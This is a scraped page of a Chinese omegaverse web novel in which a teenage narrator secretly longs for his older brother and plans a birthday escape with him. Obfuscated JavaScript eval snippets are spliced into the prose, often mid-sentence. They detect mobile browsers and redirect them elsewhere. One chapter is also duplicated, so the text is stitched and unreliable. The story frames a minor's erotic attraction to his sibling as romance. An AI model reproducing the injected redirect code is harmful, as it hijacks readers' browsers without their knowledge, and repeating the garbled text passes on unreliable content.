他当然没提过。他从头到尾就像从贫民窟逃出来的小孩,灰扑扑的书包与踩着泥泞的白球鞋,袖口有一大块黑笔乱画的痕迹。 作家能从他的那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630535|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤痕里编写出一段段令人惋惜的弃子故事,就连他的出生都是学生茶余饭后的谈资,结果他告诉大家自己是个富二代。 毁了作者的三观,也毁了我的初印象。 我开始怀疑他是不是想让我当他们家的赘婿,因为他后面邀请我来他们家当养子。 我才不要。我们家虽然没多少钱,但也美满,更何况我哥比金钱更重要,我说什么都不想走。 不过我还是问他:“如果我同意了,你们每个月给我多少亿零花钱。” 梁赢脸色一变,笑骂我贪心。 之后我与我哥聊起了这件事,我说这段故事的时候,他正在浇花。阳台上的月季被他搬到屋内,一点没有过早死亡的迹象。 他养花养的很好,不过他有时候不在家,养花的事就到了我手上。这些花与我也有感情,我倒是不介意它们瓜分我哥的宠爱。 我哥听完我讲的故事后大笑了几声,评价我为人心不足蛇吞象。 我这怎么能算贪心。一个亿还是我报少了的。要想让你留在我的身边,怎么说也得好几亿,我要养的你离不开我。 我看似在观花,但余光里都是他起起落落的手臂,他的手臂要比我粗壮一圈,所以我哥抱着我的时候我总感到温暖又舒适。 我越来越着急了,我急于渴望他看我一眼,就像他看那位主角一样。我知道他现在对我没有任何情愫,单纯将我作为最爱的弟弟。 我不知道我还能忍耐多久。 “哥,生日那天你会送我什么啊?”我问他。 “你猜啊。”他笑盈盈地回答我。 我将我能想到的东西都猜了一遍,得到的全都是否认。 “啊——猜不到了,我放弃。”我倒在沙发上举手投降。 “那就不要猜了,”他把这件事当做与我的玩闹,倒了一些热水端给我,“喝点水。” 我仰着脖子就这么喝起来,水从我的唇侧溜出来一些,跌进我的胸口。我就像嗷嗷待哺的雏鸟,我哥拿水哄我。 我总是心安理得地接受他的照顾。 “慢点喝……”我哥见我喝的这么急,怕我淹死,于是挪开了水杯,用食指戳了一下的我脑门。 我不好意思地擦掉下巴的水渍,最后还是由我自己捧着水杯喝。 我蜷在沙发上背英文,头顶是一个冬天不用的风扇,浅绿色的扇叶在天花板驻停,我怀疑它生锈了。我哥买这套房子的时候是装修好的,我不止一次觉得前房东是一位装修天才。是什么脑细胞促使他将灯的下面装个电风扇。现在只要一开灯,客厅有四道像日食的影子。 我哥在阴影下收拾移动花盆后洒落的土壤,我看着他身上的影网,我说哥,生日那天,我们一起逃跑吧。 我哥直腰看我,没有说我胡思乱想,反而问我:“你想去哪儿?” 哪里都好,我觉得那天一定会很吵,我不想闻烟草味,也不想听他们大吹大擂。 我想要一个寂寥无声的夜晚,我想在春雨来临前与你再畅谈一次冬夜,用寥寥数笔就能形容的冷风吹醒我那炙热的渴望。 我说,我想去一个安静无人的地方,就我们两个。 他沉默良久,那些泥土被重新倒回花盆,粉嫩的长春花开不败。 他终于回我,他说都听我的。 我听到这个回答高兴的不行,我直接在沙发上站起来,英语书被我叠在茶几上。我张开手臂往前飞扑,他松开扫把,稳稳地接住了我。 我知道他会接住我的,他没有失过一次手。 5. 匿情 我十岁时,正处于“我就是天,我就是地”的叛逆期,喜欢一个人出去玩。 我刚从超市出来,没走几步,在我前面的一位男士突然跪倒在地,他痛苦地捂着胸口,紧接着我听到身后的人踉跄了几步。 我转身看到一位男人,他的眼睛在一瞬间变成金色,随后又回归深色的瞳眸,我想他怎么也没想到好好走个路都能遇到发情期的omega吧。 这个画面很惊悚——七月份的天又干又燥,往柏油马路上到一桶水不出半小时就能蒸腾,怎么想都不合时宜的天气,却在一家餐馆门口出现两位大人倒地的现象,他们的中间还站着一位握着棒冰的小男孩。 小男孩在惊慌中又啃了一口冰激凌。 倒在地上的alpha死死咬住自己的手臂不让他们三个出现意外,而omega蜷缩身子,捂着他的□□,断断续续的喘息夹杂着哀求,他求小男孩帮忙打一针抑制剂。 我刚要过去帮他找抑制剂,就被人一把抱起,双眼彻底被捂死,我听她大喊这是谁家的小孩赶快拉走。 她这么一喊,围观的人越来越多,我从她的指缝里看到有人翻找口袋,为躺着的人注射抑制剂。大家汗流浃背,也插着腰窃窃私语,用他们所见编造出一个无聊透顶的故事。 汽车鸣笛声、细碎流语声、门口空调外机的发电声,从我的双眼被蒙上那一刻起就变得格外清晰,它们灌满我的耳朵,为这无所事事的夏日徒增惹人烦的音频。 故事讲到最后也没有人来认领我,我握着已经化光的棒冰光棍跟那位阿姨说我没什么事,阿姨说什么也不信,觉得我心理肯定受到了冲击,随后把我送到派出所进行心理辅导。 派出所里的警察叔叔与我交谈过后,大约是发现我的心态确实好,甚至比他们都要不卑不亢,他们就又给了我一袋葡萄味的果冻,让我坐椅子上等家长来接。 我想这些果冻一定是这些叔叔们翻箱倒柜找出来的,我拿到手的时候,上面有被急匆匆撕开的口子。 我吃完了果冻,也等来了我哥和我妈。 他们是骑自行车来的,我哥在前面蹬,我妈坐在后面。他们俩到门口就急匆匆停下,也不管脚踏有没有撑好就冲了进来。 我看着自行车在他们进入玻璃门后就可怜地倒地,而我哥着急地环顾四周,发现我后就跑过来紧紧抱住我。 他那个时候还穿着校服。我到现在都非常嫌弃他们高中的校服,真的很丑,黑一块白一块的,我怀疑设计师画草稿的时候在梦游。但我哥生的好看,就算是这种像20块钱批发价的校服,在他身上也像是世上最新潮的玩意儿。 “小景你没事吧,有没有受伤?有没有被咬?让我看看有没有事。”他喋喋不休地问我,反复检查我的手臂、胳膊、脑袋,发现我只有被蚊子叮咬的伤口后,双腿像是软下来了,一屁股坐在地上。 啊!多脏啊!派出所的地板不知道被多少人踩过,我赶紧拉着他的手让他起来。 “你怎么还坐在地上了?!”我叫道。 我那时候还没有到变声期,声音还很稚嫩,就像个小姑娘似的。 他听话地站起来,拉着我走。他那个时候就很高,就像是来到麦穗地的甘蔗,我的身高做麦穗都不行,顶多是冬笋。 我哥带着我去跟警察道谢,我妈在门口等我们。 回家的路上,我妈牵着我的手跟我聊后天去游乐园的事,我知道他们在刻意绕过今天发生的事。我哥在后面推着自行车,他沉默不语,我三步一个回头,最后忍不住了,朝他伸手。 他面露惊讶,与我妈对视一眼,最终加快脚步走到我旁边。 回到家,我妈将这件事在电话里转述给我爸,我爸也问我有没有事,我说棒冰没了我很伤心。 最后我妈还是放心不下,让我哥陪我睡觉。 我哥在床上又检查了一遍我的胳膊和腿,确认没什么问题后紧皱的眉头才松下来,我侧躺下,望着他皎皎如月的双眼,我问他:“你们为什么那么紧张我啊?明明是那两个哥哥受伤啊。” 他耐心地回答我:“因为进入发情期的人,会分辨不了眼前的是谁,他们很有可能会袭击你,咬伤你。” “你也是?”我问。我们家就只有他和我爸是alpha,我爸已经被医学标记了,纵使来了发情期也是头痛一阵就好了。 我哥前两年刚分化完毕,适应好信息素后发情期也渐渐要来了。 “嗯,所以当我出现这种症状的时候,你千万不要靠近我。”十八岁的我哥,声音特别好听。年轻又温柔,我像是偷喝了一碗米酒,有些醉醉的。我渐渐闭上眼睛。 “痛苦吗?”我问他。 “痛苦。”他拍着我的后背说。 那好。我笃定道:“那我是不会走的。” “小景!” 我看不见他的样子,但我知道他的语气满载盛怒,在为我的叛逆而头痛。 “我知道,你说的我都知道。但你要是跟那个大哥哥一样怎么办?”我记得那个人的眼睛,痛苦绝望,声声哀求我帮助他,我一想到我哥也会变成这样……我睁开了双眼,“哥哥,我是beta,我不会受到信息素的影响,我可以帮你。” “你能帮我什么?你连掰手腕都赢不了我,我到时候让你受伤了怎么办?”我哥声声质问,他也许觉得自己过于激动吓到我了,声音又放轻了一点,“你放心吧,我不会有事的,你不用担心我。” 我不理解,我身为beta,信息素对我不起作用,我怎么就不能照顾他了? 不过我哥藏得真的很好,几年来没有让我碰到一次他发情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630536|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期。他的发情期很规律,但我不清楚是哪个时间段。 每当我以为他要开始时,他就已经结束了,神采奕奕地出现在我面前,拎着一大包零食贿赂我。 终于,在我上初生高的暑假,我抓住了风声。 那段时间我爸妈去乡下看望我奶奶,而我哥同一时间去了剧组,他在走之前嘱咐我有事给他打电话,我呵呵两声,说别再把我当小孩了。 结果立马打脸。 两天前刚跟大强看完一本恐怖片的我总感觉家里散发着诡谲的气息,写完作业后我都不敢关灯,我甚至珍惜洗脸时睁眼的每一秒,每次闭眼时我都感觉自己命不久矣。 我想大强都要笑话我了,明明在学科学,却依旧相信鬼神之说。我不像大强看完后还能独自走楼梯,我们社区声控灯时好时坏,明明没有人,它会亮一个晚上。真的很恐怖。 晚上十一点,我却还在昏昏欲睡与不敢睡觉之间徘徊。 我死死盯着天花板看,想着要么我活活熬死鬼,要么我被鬼熬死。想来想去还是我吃亏,于是我忐忑地拿出手机。 强光一下子照在我脸上,我一瞬间理解白血病患者的感觉了。 我眯着眼拨打我哥的电话,我耐心地等着,哪怕不接通,我听着来电铃声也好过一切。 没想到电话真的接通了,我一时间有点慌乱,手机差点掉到我的鼻子上,还好眼疾手快地接住了。 我清清嗓子说:“哥,我其实——” “小景……嗯……” 那边发出的声音让我暂时忘记如何说话,我只觉得我全身都震了一下。 他的声音沙哑了不少,像颗粒分明的细砂捣进我耳朵里,我的身子在与他的喘息发出共鸣。 “嗯……哈……哈……啊……”他拿远了手机,他以为我听不见,但其实声声入耳。 我感觉有什么被撕碎了,发出急促又短暂的“呯呯”声,我想应该是鬼在打墙。 “哥你怎么了?”我没意识到我燥的发慌,已经将整个人裹进被子里,只留下半个脑袋在外面。 电话那头明显在扼制自己喘息的欲望,停顿了很久才强装镇定地回答我:“嗯……我没……嗯……我现在不方便,小景你,你过几个小时候再打过来好吗?哈……嗯……” 我哥果断地挂掉了电话,留下抓人心跳的静,但我的心被拧成一圈又一圈,彻底清醒了。 我哥还是心太软。 他太在乎我了,即使被无可控的信息素痛苦地包围,他还是会选择接我的电话——只因为现在是凌晨,而我一个人在家。 要我回忆,那是一个爱欲夹杂的夜晚,我哥在我那离经叛道的世界观里增添了浓墨重彩一笔。 他亲手种下了我的情欲,而我清楚地知道,他不会等我开花结果。 6. 匿情 我最终将我与我哥的“私奔”地点锁定在繁华夜市里的一家酒吧……的后巷。 我怎么可能去酒吧。 我要是现在去酒吧,我哥一定会一个月不理我,还会阴阳怪气地讽刺我“翅膀硬了不要我管了”。我可不敢惹他生气。 我在放学的时候去踩点,那个时候酒吧才只是员工吃饭的场所,深夜时热闹的场景跃然眼前,衬得现在格外安静。 那些年轻男女在附近转悠,我逆着他们走。 酒吧的对门新开了一家餐馆,门口揽客吃饭的美女姐姐叫住了我,给了我一碗尝鲜的面条。 我摆手拒绝说我今天没空,美女姐姐笑着说:“没事,觉得好吃就帮忙宣传一下,小帅哥~” 最后那句“小帅哥”我怀疑她喝了三颗润喉糖,婉转绝妙,歌手都为她的转音而鼓掌。 我见她如此真诚,只好接过,匆匆吃了两口,品味过后确定这不是我哥的口味。 空杯子被我扔进后巷的垃圾桶里。 即将春日的天空总觉得有一点好看,火烧过的橙红色光晕将白云都染成了趋黑的颜色,我抬头,从逐渐缩小的楼房夹缝里看出斑纹条理,那些龟裂的釉色纹路,像古老漆器正在剥落时间的痂。 我的身后是臃肿无端的马路,能看到远方高楼半个led屏,我戴上重音耳机,慢慢往前探寻,踢开参差乱摆的纸盒,最终来到河边。 这条河是我们市的中心河,我踩着蜿蜒曲折的石子,走到节节规整的围栏前。河对面是静谧无声的丛林,我知道那是中央公园的后面,树木被网栏横空截断,干枯的树枝逐渐有了新芽。 我近视不深,但远处的灯光在我眼里是虚幻的圆圈,叠叠落落。我将书包背到前面,掏出我藏好的相机,拍了几张不容错过的美景。 我心满意足地回家,我哥看我这么高兴,问我发生什么事了。 我将背包放在身后,胡编乱造大强又被老师训等等实际逃过一劫。我的演技越发娴熟,我哥都甘拜下风,他从我对答如流的语言里找不出一丝破绽,他看着我眼睛最终放弃。 “我知道了,洗个手吃饭吧。”我想他应该是拿这件事当做每个青春期少年都有的秘密了。 这两天我哥看上去很忙,我路过客厅的时候他都在阳台上打电话。 每次我只要回卧室写作业,客厅就不会开空调。他开着敞亮的灯站在阳台,玻璃门隔音很好,我只能听到如珍珠滚动的声音。 我拢着水杯,在他看不见的地方扫视他全身,一遍又一遍。 他扬起脖子,我的眼睛就顺着他每日都在刮的干净下巴往下探,路过如大树枝腾的筋脉与凸起的喉结,来到他的胸口。 他穿着早上出门的衣服,一件深咖色的毛呢外套垂到矮牵牛的位置,全身都是淡色的,宽松的裤腿遮住了他的脚背。他好像不怕冷,谈话间将袖管撸了上去,手臂浅浅露出肌肉的线条。 我看着他用手指捏吊兰叶片,那些花卉在他的精心照料下盛开了一个冬天,姿态可人。 我生在万物复苏的季节,但显然植物更爱他。 是啊,谁不爱他。 我正饮水观赏着美景,谁料他突然转动身子,视线与我相撞。我无法知晓我在那一刻的眼神是否含情脉脉,对视的那一瞬间,我的心里糅杂了太多东西。我强装镇定地冲他微笑。 他打完电话,拉开门走进来。 我钟情于我哥的每一步动作,包括他向我走来的模样,感觉像是结婚典礼上的新郎。 “怎么不进去?不冷吗?”他摸我的额头问,我傻傻地说我不冷。 其实我应该说冷的,这样我哥肯定会双手捧着我的脸为我取暖。 他没说话,拍了拍我的肩膀,接着侧了半个身子,鼻息与我的头发擦肩而过。我从他的肩窝去看远方,闻到那股淡雅的香水味。我们俩都不喜欢那种呛人的气味,所以他不抽烟。即使电视剧里要演,也都是两口就吐了。于是他的身上不会出现第三种气味。 那香水是过劲的良药,刚刚还游刃有余的我闻了一口就动也不敢动了。 几秒后,他握着他的水杯,与我轻轻碰杯。 我似乎能从他的双目里窥见一丝欢悦,他说了一句干杯,我回了一句幼稚。 我觉得他的这杯水一定冷了,因为我的也是。但我咽下之后发现,经过刚刚脆烈的碰撞,它似乎还有点温度。 “哥,你这几天是不是很累?”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630537|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发觉我哥的卧蚕下有了黑眼圈。 “剧组有点事,很快就处理完了。”我哥又摸我的头发,“你这个寿星可别感冒了啊,不然我们得在医院里为你的庆祝了。” “放心,我这两年都没生过病。”我似乎拿这个当成了我跟我哥的一个赌。 我赌我绝不会生病,我哥赌我绝对会平安。 我回到房间,脑子里还想着我哥的香水味,心有余悸地将照片发给梁赢,他回了我三个大拇指:“也亏你还能找到这个地方啊。” 我说那当然,我在找这种无人问津的小道方面可是天才。 梁赢说比如学校里那块乱石堆。 我与梁赢的友谊就离不开那块乱石。梁赢与大强不同,我有很多话只能跟梁赢说,他就像从天而降的智者,全身散发着“我已经看淡世间红尘”的诸德感。我为他指点学习上的迷津,他为我指点感情上的迷津。 我问他作业写完了?他说早就乱写写完了,现在在看电视剧。 我理着书包,随口回答:“在看什么?” 他发了一张影视截图。 我一看,那不就是我哥演的电视剧吗? 我想到刚刚我哥靠过来的样子,耳朵便开始烫起来。 我问梁赢喜欢哪个角色,他说他喜欢男主。 “为什么?男主不是有点贱兮兮的吗?”我问。 “对啊,所以我比较想看他怎么被打脸,怎么追妻火葬场,怎么被狠狠地蹂躏……”他越说越咬牙切齿,仿佛就是那位被骗的女主角。 我越发觉得梁赢这人深不可测,他的每一个想法都在我的意料之外。 我问他有没有喜欢的人,他说没有,我问他有没有喜欢的类型,他截了我哥的照片说,要是那些alpha长这样倒是可以考虑。 我差点就回“考虑个p”。我拿你当朋友,你竟然对我哥有意思。不过细细想,他也就跟其他观众一样对这位演员的脸感兴趣而已。 每个人都有十五分钟出名的时间,而我哥的十五分钟,受尽夸赞,获得一片喜欢。 现在我打开手机搜“计泽诩”都能搜到好几个粉丝数直破两万的应援会。 就像我说的,大家都爱他。 7.匿情 我最终将我与我哥的“私奔”地点锁定在繁华夜市里的一家酒吧……的后巷。 我怎么可能去酒吧。 我要是现在去酒吧,我哥一定会一个月不理我,还会阴阳怪气地讽刺我“翅膀硬了不要我管了”。我可不敢惹他生气。 我在放学的时候去踩点,那个时候酒吧才只是员工吃饭的场所,深夜时热闹的场景跃然眼前,衬得现在格外安静。 那些年轻男女在附近转悠,我逆着他们走。 酒吧的对门新开了一家餐馆,门口揽客吃饭的美女姐姐叫住了我,给了我一碗尝鲜的面条。 我摆手拒绝说我今天没空,美女姐姐笑着说:“没事,觉得好吃就帮忙宣传一下,小帅哥~” 最后那句“小帅哥”我怀疑她喝了三颗润喉糖,婉转绝妙,歌手都为她的转音而鼓掌。 我见她如此真诚,只好接过,匆匆吃了两口,品味过后确定这不是我哥的口味。 空杯子被我扔进后巷的垃圾桶里。 即将春日的天空总觉得有一点好看,火烧过的橙红色光晕将白云都染成了趋黑的颜色,我抬头,从逐渐缩小的楼房夹缝里看出斑纹条理,那些龟裂的釉色纹路,像古老漆器正在剥落时间的痂。 我的身后是臃肿无端的马路,能看到远方高楼半个led屏,我戴上重音耳机,慢慢往前探寻,踢开参差乱摆的纸盒,最终来到河边。 这条河是我们市的中心河,我踩着蜿蜒曲折的石子,走到节节规整的围栏前。河对面是静谧无声的丛林,我知道那是中央公园的后面,树木被网栏横空截断,干枯的树枝逐渐有了新芽。 我近视不深,但远处的灯光在我眼里是虚幻的圆圈,叠叠落落。我将书包背到前面,掏出我藏好的相机,拍了几张不容错过的美景。 我心满意足地回家,我哥看我这么高兴,问我发生什么事了。 我将背包放在身后,胡编乱造大强又被老师训等等实际逃过一劫。我的演技越发娴熟,我哥都甘拜下风,他从我对答如流的语言里找不出一丝破绽,他看着我眼睛最终放弃。 “我知道了,洗个手吃饭吧。”我想他应该是拿这件事当做每个青春期少年都有的秘密了。 这两天我哥看上去很忙,我路过客厅的时候他都在阳台上打电话。 每次我只要回卧室写作业,客厅就不会开空调。他开着敞亮的灯站在阳台,玻璃门隔音很好,我只能听到如珍珠滚动的声音。 我拢着水杯,在他看不见的地方扫视他全身,一遍又一遍。 他扬起脖子,我的眼睛就顺着他每日都在刮的干净下巴往下探,路过如大树枝腾的筋脉与凸起的喉结,来到他的胸口。 他穿着早上出门的衣服,一件深咖色的毛呢外套垂到矮牵牛的位置,全身都是淡色的,宽松的裤腿遮住了他的脚背。他好像不怕冷,谈话间将袖管撸了上去,手臂浅浅露出肌肉的线条。 我看着他用手指捏吊兰叶片,那些花卉在他的精心照料下盛开了一个冬天,姿态可人。 我生在万物复苏的季节,但显然植物更爱他。 是啊,谁不爱他。 我正饮水观赏着美景,谁料他突然转动身子,视线与我相撞。我无法知晓我在那一刻的眼神是否含情脉脉,对视的那一瞬间,我的心里糅杂了太多东西。我强装镇定地冲他微笑。 他打完电话,拉开门走进来。 我钟情于我哥的每一步动作,包括他向我走来的模样,感觉像是结婚典礼上的新郎。 “怎么不进去?不冷吗?”他摸我的额头问,我傻傻地说我不冷。 其实我应该说冷的,这样我哥肯定会双手捧着我的脸为我取暖。 他没说话,拍了拍我的肩膀,接着侧了半个身子,鼻息与我的头发擦肩而过。我从他的肩窝去看远方,闻到那股淡雅的香水味。我们俩都不喜欢那种呛人的气味,所以他不抽烟。即使电视剧里要演,也都是两口就吐了。于是他的身上不会出现第三种气味。 那香水是过劲的良药,刚刚还游刃有余的我闻了一口就动也不敢动了。 几秒后,他握着他的水杯,与我轻轻碰杯。 我似乎能从他的双目里窥见一丝欢悦,他说了一句干杯,我回了一句幼稚。 我觉得他的这杯水一定冷了,因为我的也是。但我咽下之后发现,经过刚刚脆烈的碰撞,它似乎还有点温度。 “哥,你这几天是不是很累?”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632079|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发觉我哥的卧蚕下有了黑眼圈。 “剧组有点事,很快就处理完了。”我哥又摸我的头发,“你这个寿星可别感冒了啊,不然我们得在医院里为你的庆祝了。” “放心,我这两年都没生过病。”我似乎拿这个当成了我跟我哥的一个赌。 我赌我绝不会生病,我哥赌我绝对会平安。 我回到房间,脑子里还想着我哥的香水味,心有余悸地将照片发给梁赢,他回了我三个大拇指:“也亏你还能找到这个地方啊。” 我说那当然,我在找这种无人问津的小道方面可是天才。 梁赢说比如学校里那块乱石堆。 我与梁赢的友谊就离不开那块乱石。梁赢与大强不同,我有很多话只能跟梁赢说,他就像从天而降的智者,全身散发着“我已经看淡世间红尘”的诸德感。我为他指点学习上的迷津,他为我指点感情上的迷津。 我问他作业写完了?他说早就乱写写完了,现在在看电视剧。 我理着书包,随口回答:“在看什么?” 他发了一张影视截图。 我一看,那不就是我哥演的电视剧吗? 我想到刚刚我哥靠过来的样子,耳朵便开始烫起来。 我问梁赢喜欢哪个角色,他说他喜欢男主。 “为什么?男主不是有点贱兮兮的吗?”我问。 “对啊,所以我比较想看他怎么被打脸,怎么追妻火葬场,怎么被狠狠地蹂躏……”他越说越咬牙切齿,仿佛就是那位被骗的女主角。 我越发觉得梁赢这人深不可测,他的每一个想法都在我的意料之外。 我问他有没有喜欢的人,他说没有,我问他有没有喜欢的类型,他截了我哥的照片说,要是那些alpha长这样倒是可以考虑。 我差点就回“考虑个p”。我拿你当朋友,你竟然对我哥有意思。不过细细想,他也就跟其他观众一样对这位演员的脸感兴趣而已。 每个人都有十五分钟出名的时间,而我哥的十五分钟,受尽夸赞,获得一片喜欢。 现在我打开手机搜“计泽诩”都能搜到好几个粉丝数直破两万的应援会。 就像我说的,大家都爱他。 8.匿情 我生日的前一天是礼拜四,那天放学时我偶遇话剧社的学妹,我们俩就顺路开始讨论剧本。我原本是不参和改剧本的事,是社长对这位学妹无可奈何,于是我来担此重任。 这学妹倒不是叛逆期,反倒说她太乖了,她就是那种班里永远坐在位子上闷头学习的女生。 我与她都是家长老师口中的乖学生、风向标,可我知道,她才是真正的乖学生。她会将每只水笔都擦的干净发亮,可以一句话不说地在角落里坐上一天,我呢,我要是学习不那么好,靠我的本性就能让班主任叫十次家长。 她写了一篇十几万字的稿子,社长看完后鼓掌叫好,问她将来是不是准备当编剧。这明明是段夸赞,可这学妹就像刚从窝里出来的鸟,对他这个态度特别惶恐,气若游丝地回答他不是。 社长没听见,这个直肠子的人当着她面伸手拢着一半耳朵,转头问我她说了什么。 要了命了,别说学妹,连我这位社团里的乱臣贼子在那一刻都以为他在侮辱人,于是学妹与他彻底没话说。 社长这人做导演厉害,说话完全不灵光,最后只能求助慈眉善目的我,一声“景哥”长“景哥”短的求代他跟学妹好好沟通,看在剧本确实不错的份上,我勉为其难地答应了。 “学长,你觉得这里的心理描写怎么样?我想不好主角怎么原谅他们。”学妹太过心软,写一些反派完全狠不起来,甚至得担心他们的心路历程。 晚霞将人脸变的发黄,学校的路灯光特别强力,我正巧碰上修灯泡的,修好的瞬间我感觉眼睛都亮了。 我站在灯光下扫视剧本大纲。维修大叔慢慢从梯子上滑下来,吹着口哨从我们面前经过,钥匙发出叮叮声响。学妹被他吸引了视线,而我视若无物。 我看完了,确实有点难言古怪之处,比如:“我觉得应该改一改。像主角这样聪明的性格,他怎么可能不知道自己会被爱人背叛了。” “那他要去理论吗?”学妹问。 “不,我觉得让主角装不知道比较好。因为如果是我,我会想办法在双方都在的时候让第三者告知这件事,自己则在对方面前做一个受害者。” “好主意啊。主角也算是个自私又有占有欲的角色……让对方揣着歉意,这样能一直爱他,听上去很心机,但确实是他会做的事……好,我回去改改。”学妹不知从哪里掏出一只粉色兔头的水笔,边走边在大纲上奋笔疾书,让我不禁怀疑她那厚重的眼镜片是不是就是这样得来的。 其他学生其实跟她差不多,都像游魂似的走出校门,路过一个人嘴里都在念叨上节课的内容。 人影绰绰,我没有走到尽头,而是在距离门口还有几米远的地方停住了。学妹狐疑地看我,我朝她挥了挥手让她先走。 学妹顺着我的视线看去,明白我遇到熟人后立马小声对我说了一句谢谢,接着加快步子走出了校门。她但凡走的慢点,应该能发现我的双眼从沉闷无光变成齐放异彩。 男人像是来玩的,穿的很随意。普普通通的绿色卫衣与洗到都发白的老鼠灰色牛仔裤。虽然戴着帽子,但我从他的身高、笑容,都认得出他是谁。 谁让我哥的身材太出色了。 我不大喜欢他来我们学校,总觉得所有人的目光都像被磁铁吸住一样,不由自主地落在他身上。 我缓和突突的心脏,跟着连云走到他面前。色素退尽的枝干斜影压着他的肩膀,我在帽檐的暗影里看见他弯起眼睑,几根没搭理好的碎发卡在帽子与眉毛之间。 他自然地拎走我的书包背在左肩上,我的书包在他身上竟然出奇合适,为他减龄五岁。 “这么重?辛苦了。”我哥像是刚刚睡了一觉,声音慵懒带点沙哑。也或许是晚霞下本身就让人燥热,我感觉冬风都赶不走我的燥热。 他不说去哪里,就这么走了。 我跟在旁边,企图与他平齐,可我怎么努力也比他矮个十厘米,我只能干瘪瘪地问他:“你怎么来了?” “来看看你有没有偷偷早恋,嗯,原来是她啊——”我哥斜眼看我。他有着成年人的矜持,眼神里垒砌了太多的明知所以,可他却还是将它们暗藏起来,以轻松的语气询问我真相。 当然,这都是假的。 我耸耸肩回答,却注意着他的反应:“很遗憾,我跟她只是男主角与男主角亲妈的关系,我负责尽职尽责地提出建议,她负责吸取建议。” 我哥眉毛扬了扬,似乎想从我这坦然的回答里找出可疑的地方,最后他轻快地说:“那可太遗憾了。” 我倒是不觉得他有遗憾的感觉,甚至很开心。 我们穿过偶有几片梧桐叶飘落的小巷,走到半块黑幕铺满车水马龙的街道,横着停了几辆倒卖小商品的推车,他们的蓝牙音箱各放各的情歌,有搭没搭地竟然顺利接上了。 我一边惊奇着音乐的共生性,一边听我哥的话在原地等他。不过一会儿,一辆白车在我面前缓缓停下。 我哥开车的样子真帅! 我哥能开车,得多亏了计女士,也就是咱妈的指挥。原本我哥是没想法的,是计女士在他十八岁的时候念叨了一个暑假,最后直接将银行卡拍在桌上说:“你学,我就给你买车。” 年幼的我目睹全程直接惊了,第一次看到我妈这么有魄力,连忙抱着我妈大腿说我也要,被一句“大人说话小孩别插嘴”推到一边去。 接着我我爸没骨头似的靠着沙发,仰头往天花板,淡淡地说:“收着吧,让这些私房钱用在该用的地方。” 我和我哥这才知道,难怪我妈那么大方,原来这是我爸上缴的私房钱,于是这辆拿私房钱买的车,成为了我哥的第一辆汽车。 随着时间推移,他的驾驶技术越来越好,从倒车得要我帮忙看后视镜到现在不用挺就能到位,可以想象他在他们小区抢了多少次车位。 我放下一点车窗,眼里都是即将陷入黑夜的城市,由着冷风灌进衣口,领子簌簌翻飞,我将含雪般清新的空气吸入骨头里。我哥嘴角缓和,提醒我不要感冒。 我说,哥,我们听音乐吧。 他说随我。 我就随便跳到了一个电台,在等绿灯时,女主持正与观众电话连线。不知道为什么,电台主播的声音通着电流总是让我发困。 我松脱地靠着枕背,听到我哥问我是不是困了,我阖着双眼点头。接着就感觉到有一只手在额头上摩挲,不过匆匆扫过,我却觉得痕迹弥留我的双眉。 那某香水味嵌入骨髓,我醒了一半,却还装睡。 我们下车的地点是一家餐馆,我知道这家餐馆,在我们班里很有名,十个里有八个想来打卡。因为这里的消费水平不是学生能承受的,一般都是上班族过来吃饭。这样穿着校服的,全场好像只有我一个。 “好的,预定的两位是吧,我带你们走。”服务员客气地引导我们到达一座包间。 说是包间,但其实只有两张座位,还有一间独立阳台。 墙壁模拟饱经风霜的木质,粉刷的颜色比真实地板还要暗沉,挂着三幅画,细看上面的明码标价,一幅就要几十万。我想贵大概就贵在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 